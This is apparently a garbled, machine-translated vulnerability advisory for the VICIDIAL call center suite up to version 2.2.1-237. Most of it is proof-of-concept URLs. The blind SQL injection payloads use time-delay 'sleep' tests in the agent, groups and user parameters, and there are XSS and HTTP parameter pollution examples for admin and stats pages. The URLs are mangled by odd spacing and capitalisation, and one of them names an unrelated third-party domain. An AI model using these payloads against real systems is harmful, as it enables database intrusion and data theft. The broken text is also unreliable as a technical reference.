VICIDIAL Call Center Suite & lt; = 2.2.1-237 multiple defects and repair

...: VICIDIAL call center suite Blind SQL Injection Vulnerability ::::....#

 
Author r: Sepahan TelCom IT Group (septelcom)
 
Official Website: http://www.vicidial.org
 
Under hit: https://sourceforge.net/project/showfiles.php? Group_id = 95133 & package_id = 101320
 
Affected Versions: <= 2.2.1-237
 

 
VICIDIAL is a set of programs that are designed
 
Interact with the Asterisk Open-Source PBX Phone system
 
To act as a complete inbound/outbound call center suite.
 
Test
 
Http://site.com/AST_agent_time_sheet.php? Agent = some-agent 'and sleep (15) =' & calls_summary = 1 & query_date = 2012-09-07
 
Http://www.bkjia.com/AST_timeonVDADall.php? Adastats = 1 & DB = 0 & groups [] = 1345 'and sleep (15) =' & RR = 4
 
Http://site.com/vicidial_demo/user_stats.php? User = 2000 'and sleep (10) ='
 


:::: VICIDIAL call center suite XSS/HTTP Prameter pollution ::::....#
 

 
Author: Sepahan TelCom IT Group (septelcom)
 
Official Website: http://www.vicidial.org
 
: Https://sourceforge.net/project/showfiles.php? Group_id = 95133 & package_id = 101320
 
Affected Versions: <= 2.2.1-237

 
VICIDIAL is a set of programs that are designed
 
Interact with the Asterisk Open-Source PBX Phone system
 
To act as a complete inbound/outbound call center suite.
 
----------------------------------
Test proof
 

 
XSS:
 

 
Http://site.com/admin_search_lead.php? Alt_phone_search = & DB = 1 & first_name = lskkuuaj & last_name = lskkuuaj & lead_id = 1 & list_id = 1 & log_lead_id = 1 & log_phone = 555-666-0606 & phone = 555-666 -0606 & status = 1 & submit = SUBMIT & user = [XSS] & vendor_id = 1
 
Http://site.com/user_stats.php? User = [XSS]
 
--------------
 
HTTP Prameter plution:
 

 
Http://www.bkjia.com/./user_stats.php? User = shtuasvb & begin_date = 2012-09-07 & end_date = 2012-09-07 {HTPP}
 
Example:

/User_stats.php? User = shtuasvb & begin_date = 2012-09-07 & end_date = 2012-09-07 & hadi685 = sep148
 

 
Http://site.com/admin.php? ADD = 3 & user = someuser {HTPP}
 
Example:

./Admin. php? ADD = 3 & user = hadi & sep18 = tell15